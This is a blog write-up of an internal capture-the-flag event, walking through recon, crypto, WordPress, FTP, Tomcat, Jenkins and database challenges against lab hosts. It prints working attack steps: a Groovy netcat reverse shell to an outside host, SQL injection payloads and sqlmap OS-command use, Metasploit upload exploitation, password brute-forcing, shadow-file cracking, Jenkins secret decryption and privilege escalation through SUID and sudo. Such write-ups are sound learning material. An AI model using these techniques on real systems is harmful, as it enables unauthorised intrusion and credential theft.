Code Name: Treehouse of Horror CTF

A friend of mine asked me if I wanted to participate, on the sly, in an internal CTF that he put together for his employer. My score wouldn't be shown, and for all intents and purposes I did not compete. I figured I'd give it a code name incase I need to refer to this event. Let's call it the Treehouse of Horror CTF.

The Treehouse of Horror CTF!

The scoreboard appeared to be similar to the one used at the Defcon 26 IoT CTF, however this one was organized by challenge which made things nice for tracking your own progress versus one huge board of challenges.  I think this is called Jeopardy style. There were some odd moments at times because different challenge groups shared a target, so you had to identify which flag went with which challenge. Really not that big of a deal and I actually really enjoyed the format rather than just a single submit field like at derby or Eversec's CTF as it helped me track my progress with ease.

The challenges were:


I jumped around a lot and didn't actually get to look at all of the challenges. So, in no particular order, let's get into it.


The first thing any CTF player should do is RTFM. In my experience, there is always a webpage, flyer, projector, or something that has tips, tricks, rules, and the scope defined. Read them before diving into the challenges - sometimes they even plant flags in these resources.

The Treehouse of Horror CTF had a "Rules" page, a "How To CTF" page, an "Announcements" section, and a of course the scoreboard and challenges list. I first checked the rules because the last thing I wanted to do as a shadow player is violate a rule and make myself known. 

The rules were straight forward and there was a flag in the page that was an example. Free 50 points! A second 50 point flag was discovered in the "How To CTF" page which gave fantastic advice on setting up a free AWS instance to play a CTF from.

These two flags closed out the Misc challenge category with a total of 100 points.


The "Announcements" section for the CTF was a twitter feed for the Treehouse of Horror "company." One of the early posts appeared to be a flag. I submitted it as the first Recon flag for 50 points. I checked this feed every so often for hints, and updates. Turns out that my issues with accessing a resource in a later challenge was not by design and it caused other teams issues as well. I will always recommend to periodically check a CTF's announcements feed.

While working on the CTF as a whole, subtle hints and various content on in scope webservers pointed to the existence of a github account for the fictional company: Treehouse of Horror. After fuzzing the name a bit I was able to load the company's github profile which contained a 100 point flag.

I jumped into these recon challenges when I had a few minutes here or there, and while I was working on a pcap analysis challenge that was downloaded from the FTP server, I found the 1337 subdomain. The webpage that loaded instructed me to enter 1337 as the flag for Recon Challenge 7, which I did and earned 300 points.

Four flags remained unsolved for this challenge. Total points earned here: 450


The crypto challenges were tasty. Here's what I got:

1. U4vYp43f4e!   
ROT13, solved with H4iLc43s4r!
100 points

2. T4m1y0efFd1ow3pKm
ROT14, solved with rumkin again, just running through different rotation amounts: H4a1m0stTr1ck3dYa
100 points

3. 😮 😐😐 😐😐😐 😮😐😮 😮😮😮 😮😐😐😐 😮😮 😐😮😐😮 😐😐😐😐😐 😐😮😮 😮😮😮😐😐
Morse code, solved with cyberchef's  from morse: EMORSJIC0D3
150 points

Base64 decode, solved with cyberchef: G3tTinAl1TTl3Le$$ObviOus
150 points


base64 decode...i lost count how many times I had to decode it. I just kept decoding because it kept looking like base64: TuRTl3zAllTe#w@yD0wn
200 points

7. p`>_DE7__=65JpP

8. qtrqSOicYOiW3J7uTsRg6m7aig==

9. h4yQsIz3bvjNfsSbcztlDblM
Vigenere, solved with, I just had a lucky first guess for the key as I just assumed it would be the company name. flag: f4nCyFr3nchCryPtograPhiE
250 points

10. c2 99 d3 ff d8 ed cf de de 9b c4 ed c8 99 de de 99 d8 ea fe 9d c2 c3 d9 8b

Total points scored here: 950


The first flag I found for the Wordpress site was by browsing to robots.txt. 100 points
As I glanced over the blog content I found a 50 point flag that was sitting in a blog post.

Naturally, as this is a Wordpress site, the next thing I did was run wpscan against it. There was interesting plugin returned but it wasn't reported as being vulnerable to anything.
I also used a few user enumeration tricks I know to try and find valid users:
First, attempted to browse to:/wp-json/wp/v2/users/  but that site was denied.
I then attempted to browse to the wp-admin login page but it was not found. This is usually an easy way to throw a list of users and watching the failed login messages.

Then I moved on to entering numeric values for X in the  /blog/?author=X URI.
0 loaded: survey, check out our latest product, hello world
1 loaded: nothing.
2 loaded: Survey, check out our latest product
3 loaded: hello world
4 loaded: nothing

None of the posts that loaded indicated the author. Sometime's it appears in part of the post, the page, or even the title. In this case no users were actually found by doing this.

Similarly, you can enumerate usernames by spraying potential usernames against /author/FOO.
I intercepted a request for /author/FOO and then sent it to intruder, set the position at FOO, added admin, root, administrator, and then inserted my username list of first names.

Based on response Length, admin, appeared to be valid with a response length of 9457 and so did "eve" with a response length of 10290.

I checked the wp-admin and wp-login.php pages again and wp-admin loaded this time. I attempted to login as eve with seasonal based passwords and based on the error, I thought I had about 99 attempts before the account would be locked out, but after 4 attempts the admin login page no longer loaded for me.  A CTF announcement indicated that there was some issues with this resource during the period I was testing it.

Next, I ran nikto against the website and it found an interesting header, which was a 150 point flag.
Nothing else really interesting was in the output file so at this point I focused on the plugin that wpscan found and the "Survey" blog post.

Wpscan found the wp-survey-an-poll - v1.5.7.8.
A quick google search for "wp-survey-an-poll exploit" returned this result:

The version didn't match but sometimes bugs don't get fixed. The post in the blog called "Survey" asked if they should develop an API, Flash App, or 2FA. At this point, I pointed my browser to the community edition of the Burp proxy. I voted for API because it was first in the list and I just wanted to review what the request looked like.

The POST request had some interesting parameters but it wasn't quite what was written about in the exploit.

Here was my Cookie:
Cookie: wordpress_test_cookie=WP+Cookie+check; ikVyK_PZbvRpeQ=SjUgfArOYMHE%5Bu; cZbDswm=a6Xu5vR

And this was the data:

The exploit I found on exploit-db referenced that a "wp_sap" would be defined in the cookie and is vulnerable to a SQLi attack.  This variable didn't exist anywhere in my request so I sent the request to repeater to try the PoC SQLi at each of the parameters to see if any of them were vulnerable.

I first injected "["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]" at the "wordpress_test_cookie" parameter and this was the response I got:
Set-Cookie: wp_sap=%5B%22482794520%22%5D; expires=Sat, 21-Dec-2019 02:00:55 GMT; Max-Age=31536000; path=/; domain=TREEHOUSEOFHORROR
Flag: GudUs30fPr0X1es
Content-Length: 7
Connection: close
Content-Type: text/html; charset=UTF-8

The flag you can see in the response was the same flag I saw using nikto against the server, but you probably also noticed that now the wp_sap parameter was defined in my cookie, which I inferred to mean that I was on the right track. The value defined was the survey ID=["482794520"]

The exploit said I needed to update the cookie and refresh the page in order to retrieve the database version from our initial injection. At this point I was using cookie manager and burp to test the injection/refresh process and I got confused about what I was doing where and when. The furthest I got with this challenge was showing what I think was the database version in the top right corner of the page as seen below:

 Possibly Successful SQL Injection

At this point, I basically threw in the towel on the CTF as the SANS Holiday Challenge had begun and I had big plans to get the team together to work on that.
Total points for this challenge: 300


The uploader site was found in a link that was on the Wordpress blog. When it loaded the first thing I did was check the html source. There I found a flag in the comments, it was worth 150 points.

Nmap revealed ssh running on port 2022. I used the ssh_login auxiliary module and used rockyou.txt to brute the bob account which was learned of while working on the Jenkins challenge. I was able to get in with password123 which was a 100 point flag.

Inside the home directory for bob was a directory called "private" which contained a file called foothold2.txt and that contained a 300 point flag and a give away hint on how to root the box.

All it took was to sudo su - and I was now root.  At this point, I cat'd /etc/shadow, cracked the root password for 150 point flag, then I checked the /root home directory and found a 350 point flag.

I reviewed the root user's bash_history file and I think I found other players commands in there. I looked at what they found and got a 250 point flag out of a file on the web server.

The last flag I over looked right off the bat, I ended up circling back to double check and found the last flag for this box in /etc/passwd. This completed the challenge the Uploader challenge.

Total points: 1550


When I followed the link to the FTP site, a flag was displayed in nice big font on the main page. 100 points.
I then followed the link to the actual FTP site (ie ftp://) and proceeded to download all of the files that were hosted there.

Next, I wanted to see if directory traversal was possible, so I used the ftp utility to connect to the server as anonymous. It was kind enough to give me a 220 response with a 150 point flag after connecting and before login. Anonymous access was allowed but I never figured out if there was a directory traversal attack there or not. I basically tried to ls and get /etc/passwd using about a ten ../ and reducing the occurrence by one each attempt.

After an unsuccessful directory traversal attempt, I used hydra to password spray the root account.

I sprayed rockyou as passwords for the root user for over an hour but no successful logins were observed.

The files on the FTP server appeared to be related to the Forensics challenges so let's talk about those.

As for the FTP challenge, my total points came to: 250


I extracted the "pic1.png" image from pcapb that I downloaded from the FTP server which contained a flag. 250 points.

That's all I really got around to for these challenges as they are not really my in thrillhouse. I mean wheelhouse.

Total points for this section was: 250


I began this challenge by reviewing nmap scans for the proxy-east server. Nmap showed that port 1337 was open. when I connected to it with a browser a debug message gave me a 200 point flag.

I began fuzzing the service manually with Telnet and quickly got no where. I asked for a hint and was told "c format strings" so I started going through previous format string CTF write-ups and found this post:

I ended up sending the following to the service:
# telnet proxy-east.treehouseofhorror 1337
Trying x.x.x.x...
Connected to treehouseofhorror.
Escape character is '^]'.
%p %p %p %p %p %p %p %p %p
Debug mode enabled. 
Version: M4$teRuz1ng1tAndj00C4nH4veThi$ 
Pointer: 0x601080 

Secret administrative backdoor
Enter the secret password to continue:
0x7ffbf9bfd01b 0x7ffbf99d89f0 0xfbad2088 0x7ffbf9bfd01c (nil) 0x7ffe51c71498 0x1f9bfa000 0x7ffbf9c011c8 0x601080
Ah! Ah! Ah! You didn't say the magic word!
Connection closed by foreign host.

As we can see, the pointer displayed upon connection was in the last position (9th) in the output from me entering: %p %p %p %p %p %p %p %p %p

Reading the rest of the write-up I referenced earlier, they mentioned using "%1337x%7$hn" to write specific input to a specific spot in the buffer. I did not want to write input, but I knew the location, so I sent %9$x  and could see the pointer address again.

This sort of exploitation is new to me and I basically have no experience with C format strings, so I started looking up format parameters and started iterating through them.

%9$s gave me the flag as seen below:

# telnet proxy-east.treehouseofhorror 1337
Trying x.x.x.x...
Connected to treehouseofhorror.
Escape character is '^]'.
Debug mode enabled. 
Version: M4$teRuz1ng1tAndj00C4nH4veThi$ 
Pointer: 0x601080 

Secret administrative backdoor
Enter the secret password to continue:
Ah! Ah! Ah! You didn't say the magic word!
Connection closed by foreign host.

Woohoo! 200 point flag.

I tried to reuse that flag as a password but got no where with it. I started iterating through stack locations to see if anything else would shake loose but after looking at a couple dozen I didn't see anything new.

I then thought maybe I had to write that string to the 9th position but I don't know if I was doing it right. The following would simply close the connection:

# telnet treehouseofhorror 1337
Trying x.x.x.x...
Connected to treehouseofhorror.
Escape character is '^]'.
Connection closed by foreign host

In hindsight, that doesn't make a lot of sense because I retrieved that string from that location anyway so I was pretty stuck on this challenge.

Total points for this section was: 400


Nmap revealed port 8080 open on one of the Treehouse of Horror web servers. When I browsed to it, it loaded a static page containing a flag. 100 points.

The logo, and challenge name, obviously indicated a tomcat server, so I loaded the manager login page at /manager/html. I tried tomcat:tomcat which is usually everyone's go to... but this didn't work.

When I cancelled the login prompt, I saw this 401:

Potential Password

I then loaded the login again, and tried tomcat:s3cret which got me in! Once I was in, I saw an application that was configured and the name appeared to be a flag. I submitted it and scored 100 points. the password s3cret was also accepted as a flag worth 150 points.

At this point, I fired up metasploit so I could use the tomcat_mgr_upload exploit module.

I configured the module like so:
Module options (exploit/multi/http/tomcat_mgr_upload):

Name        Current        Setting Required        Description
----        ---------------        --------        -----------
HttpPassword         s3cret                         no        The password for the specified username
HttpUsername        tomcat                         no        The username to authenticate as
Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOST        proxy-east.treehouseofhorror        yes        The target address
RPORT        8080        yes        The target port (TCP)
SSL        false        no               Negotiate SSL/TLS for outgoing connections
TARGETURI        /manager        yes        The URI path of the manager app (/html/upload and /undeploy will be used)
VHOST        no        HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Java Universal

And then I proceeded to exploit the box:
meterpreter > sysinfo
Computer : ab71b1b33996
OS : Linux 4.15.0-42-generic (amd64)
Meterpreter : java/linux
meterpreter > getuid
Server username: deployme

At this point, I could see flag.txt in the / directory but I did not have permission to read the file.
I checked the deployme users home directory and found two files. the foothold.txt file contained a 300 point flag!

I next upgraded to an interactive shell using this python one liner:
python -c 'import pty; pty.spawn("/bin/bash")'

Then I started looking for ways to get a priv esc. Long story short - I ended up finding an odd looking file with the suid permissions:
deployme@ab71b1b33996:/$ find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -exec ls -ldb {} \;
find: `/var/spool/cron/crontabs': Permission denied
find: `/var/spool/rsyslog': Permission denied
find: `/var/lib/sudo': Permission denied
find: `/var/cache/ldconfig': Permission denied
find: `/etc/ssl/private': Permission denied
-rwsr-xr-x 1 root root 10344 Jul 28 2014 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 41336 Feb 17 2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 47032 Feb 17 2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 68152 Feb 17 2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 155008 Feb 10 2014 /usr/bin/sudo
-rwsr-xr-x 1 root root 46424 Feb 17 2014 /usr/bin/chfn
-rwsr-xr-x 1 root root 32464 Feb 17 2014 /usr/bin/newgrp
-rwsr-xr-x 1 root root 47904 Dec 2 01:51 /usr/bin/moar
find: `/root': Permission denied
find: `/proc/tty/driver': Permission denied
find: `/proc/125/task/125/fd/5': No such file or directory
find: `/proc/125/task/125/fdinfo/5': No such file or directory
find: `/proc/125/fd/5': No such file or directory
find: `/proc/125/fdinfo/5': No such file or directory
-rwsr-xr-x 1 root root 69120 Jun 3 2014 /bin/umount
-rwsr-xr-x 1 root root 36936 Feb 17 2014 /bin/su
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 94792 Jun 3 2014 /bin/mount

After playing with the moar utility a bit, I lost my interactive shell for the time being but I figured out how it worked as seen below:
/usr/bin/moar --help
Usage: /usr/bin/moar [OPTION]... [FILE]...
Concatenate FILE(s), or standard input, to standard output.
-A, --show-all equivalent to -vET
-b, --number-nonblank number nonempty output lines, overrides -n
-e equivalent to -vE
-E, --show-ends display $ at end of each line
-n, --number number all output lines
-s, --squeeze-blank suppress repeated empty output lines
-t equivalent to -vT
-T, --show-tabs display TAB characters as ^I
-u (ignored)
-v, --show-nonprinting use ^ and M- notation, except for LFD and TAB
--help display this help and exit
--version output version information and exit
With no FILE, or when FILE is -, read standard input.
/usr/bin/moar f - g Output f's contents, then standard input, then g's contents.
/usr/bin/moar Copy standard input to standard output.
Report moar bugs to
GNU coreutils home page: <>
General help using GNU software: <>
Report moar translation bugs to <>
For complete documentation, run: info coreutils 'moar invocation'

I then used the moar utility to display /etc/shadow which gave me the hash for the deployme user which I cracked using rockyou and scored a 200 point flag.

I used python to give me an interactive shell again, and then I was able to simply sudo su - up to root. At this point I could read the flag.txt and the flag file in root's home directory, totaling 650 points for the two last flags.

Total points for this group of challenges: 1500


I got excited when I saw this challenge given my recent experience at Derbycon 2018, however this would take a slightly different approach.

Nmap showed Jenkins was running on port 8081, it didn't appear to require authentication, so I browsed to the Manage Jenkins link but I saw a bunch of errors on the page.

Jenkins Errors

Before attempting to use metasploit and pop a shell, I wanted to browse around the Jenkins instance to see if I could find any flags. The first one I found was a 150 point flag under in /user/admin.
The second flag I found was 150 points found under /job/Test/.

The script console was available without authentication and I was able to enter commands in the groovy script console to interact with the system just as I was able to do at derby. However, the metasploit module failed to exploit the system.

I then used netcat to get some a little better interaction with the system:
def command = """nc -e /bin/sh X.X.X.X 34343"""
def proc = command.execute()
println "return code: ${ proc.exitValue()}"
println "stderr: ${proc.err.text}"
println "stdout: ${}"

Once I had my shell, I upgraded using the python one liner:
python -c 'import pty; pty.spawn("/bin/bash")' 

With my interactive shell up and running, I started browsing around the file system and I found /var/jenkins/home/FIRST_FOOTHOLD.txt. I submitted this flag for 250 points.

I then pilliaged the /var/jenkins_home directory for files containing encrypted passwords.
Once I obtained those files, I was able to decrypt the contents of them with this code snippet in the script console:
passwd = hudson.util.Secret.decrypt(hashed_pw)

For this challenge I obtained 5 flags for a total of: 1050 points


The customerdb challenge was a simple web app with a customer look up search box. I entered "strupo_" into the search field which returned a very generic message saying 0 results. false
Then I entered a '  which returned "null."

This made me think SQLi so I intercepted the request with burp so I could see what it looked like, and then ran the following command to see if it was vulnerable:
# sqlmap -u "http://treehouseofhorror:88/index.php" --data="search=*"  --current-user

The above command returned:
Parameter: #1* ((custom) POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: search=' UNION ALL SELECT CONCAT(0x716a787671,0x664a4161695456736b57426348614654436b4f4f4d6b61584966745a59435571746e657979777a70,0x7171627671)-- wZhh
[11:11:55] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5
[11:11:55] [INFO] fetching current user
current user:    'admin@%'
[11:11:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/treehouseofhorror'

[*] shutting down at 11:11:55

So the next step was to dump everything using -a.
Dumping everything gave me the following info that was interesting:
database management system users password hashes:
[*] admin [1]:
    password hash: *68D936B76EC1C32D0FC4608970EBED3C7CB663F7
[*] root [1]:
    password hash: NULL

List of customers (I entered each one into the app but nothing interesting came back)
A 200 point flag in the hidden table in the testdb database:
Database: testdb
Table: hidden
[1 entry]
| c                  |
| dUmpIn60utT3h7r4Sh |

The DB admin's password hash, which I cracked with john, was a 150 point flag. 
I also submitted the hidden table flag.
Next, I wanted to get a shell on the box, so I started passing command to with sqlmap's --os-cmd options.  I couldn't get it to run python or wget to get an easy-mode shell, so I cat'd everything in the current directory where I found a foothold flag worth 400 points.

I still wanted to root it and wget and curl didn't appear to be on the target. I issued the command "which nc" and saw that netcat was installed. At first I attempted to use the -e /bin/bash approach but that was unsuccessful. So I then used msfvenom to create A.elf and then simply used netcat to transfer the file to the target. 

Now it was simply a matter starting a handler, then making A.elf executable on the target with --os-cmd and then running it.

I wanted to see if I could use sudo at all, so I checked with sudo -l and saw that I could run unzip.
meterpreter > shell
Process 1106 created.
Channel 1 created.
python -c 'import pty; pty.spawn("/bin/bash")' 
www-data@019e4798d544:/app$ sudo -l
sudo -l
Matching Defaults entries for www-data on 019e4798d544:
    env_reset, mail_badpass,

User www-data may run the following commands on 019e4798d544:
    (root) NOPASSWD: /usr/bin/unzip

I ran the unzip -h on the target and saw that it there was the -K option which would preserve SUID bits if set. On my testing system, I set the SUID bit on the elf file, zipped it up, used netcat to transfer it to the victim, and then used sudo to unzip the file while preserving the SUID permissions.

It was then a matter of running the elf again and this time a root level shell came back:
meterpreter > sysinfo
Computer     :
OS           : Ubuntu 14.04 (Linux 4.15.0-42-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > shell
Process 1193 created.
Channel 2 created.
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)

I was then able to cat the flag.txt file in the /root directory for a 600 point flag. 

There was one flag left and i found it by investigating cronjobs. I found a 250 point flag in:


That completed the CustomerDB Challenge for a total of 1600 points.


Between my full time job, this CTF, the SANS Holiday Challenge, the holidays and my employer's internal CTF - I was splitting my attention between too many things while still trying to maintain a reasonable home life balance. In all, I think I spent about 20-24 hours on this over the course of a week or two. I totaled about 8400 points and bowed out of the competition.

Big ups to the folks over at Treehouse of Horror, I got to watch the scoreboard for a bit and they were killing it! I'm pretty sure a few teams maxed out the total points. If any of those folks publish a writeup please let me know on twitter (@strupo_).

I'm very grateful to have had the opportunity to participate in the event.


Popular posts from this blog

The Audacity of Some CTFs

2020 HTH CTF - Cloud Challenges